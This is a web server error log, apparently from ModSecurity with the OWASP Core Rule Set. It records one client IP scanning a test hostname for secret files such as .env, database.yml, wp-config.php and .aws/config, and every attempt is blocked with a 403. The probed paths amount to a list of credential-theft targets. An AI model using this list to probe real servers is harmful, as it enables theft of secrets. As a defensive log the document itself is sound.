[Thu Feb 26 01:02:44.857842 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRgAAAAQ&quot;]
[Thu Feb 26 01:02:44.858874 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiycAAAAAA&quot;]
[Thu Feb 26 01:02:44.859092 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiycAAAAAA&quot;]
[Thu Feb 26 01:02:44.859240 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiycAAAAAA&quot;]
[Thu Feb 26 01:02:44.898927 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRwAAAAQ&quot;]
[Thu Feb 26 01:02:44.899153 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRwAAAAQ&quot;]
[Thu Feb 26 01:02:44.899316 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRwAAAAQ&quot;]
[Thu Feb 26 01:02:45.206371 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUAAAAAQ&quot;]
[Thu Feb 26 01:02:45.206614 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUAAAAAQ&quot;]
[Thu Feb 26 01:02:45.206774 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUAAAAAQ&quot;]
[Thu Feb 26 01:02:45.349905 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUgAAAAQ&quot;]
[Thu Feb 26 01:02:45.350152 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUgAAAAQ&quot;]
[Thu Feb 26 01:02:45.350361 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUgAAAAQ&quot;]
[Thu Feb 26 01:02:45.382270 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkLQAAAAM&quot;]
[Thu Feb 26 01:02:45.382548 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkLQAAAAM&quot;]
[Thu Feb 26 01:02:45.382699 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkLQAAAAM&quot;]
[Thu Feb 26 01:02:45.389605 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cms/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUwAAAAQ&quot;]
[Thu Feb 26 01:02:45.389851 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUwAAAAQ&quot;]
[Thu Feb 26 01:02:45.389999 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHUwAAAAQ&quot;]
[Thu Feb 26 01:02:45.430699 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVAAAAAQ&quot;]
[Thu Feb 26 01:02:45.430911 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVAAAAAQ&quot;]
[Thu Feb 26 01:02:45.431058 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVAAAAAQ&quot;]
[Thu Feb 26 01:02:45.446642 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkLwAAAAM&quot;]
[Thu Feb 26 01:02:45.446853 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkLwAAAAM&quot;]
[Thu Feb 26 01:02:45.446997 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkLwAAAAM&quot;]
[Thu Feb 26 01:02:45.472650 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVQAAAAQ&quot;]
[Thu Feb 26 01:02:45.472903 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVQAAAAQ&quot;]
[Thu Feb 26 01:02:45.473092 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVQAAAAQ&quot;]
[Thu Feb 26 01:02:45.519638 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVgAAAAQ&quot;]
[Thu Feb 26 01:02:45.519868 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVgAAAAQ&quot;]
[Thu Feb 26 01:02:45.520022 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVgAAAAQ&quot;]
[Thu Feb 26 01:02:45.547564 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVwAAAAQ&quot;]
[Thu Feb 26 01:02:45.547775 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHVwAAAAQ&quot;]
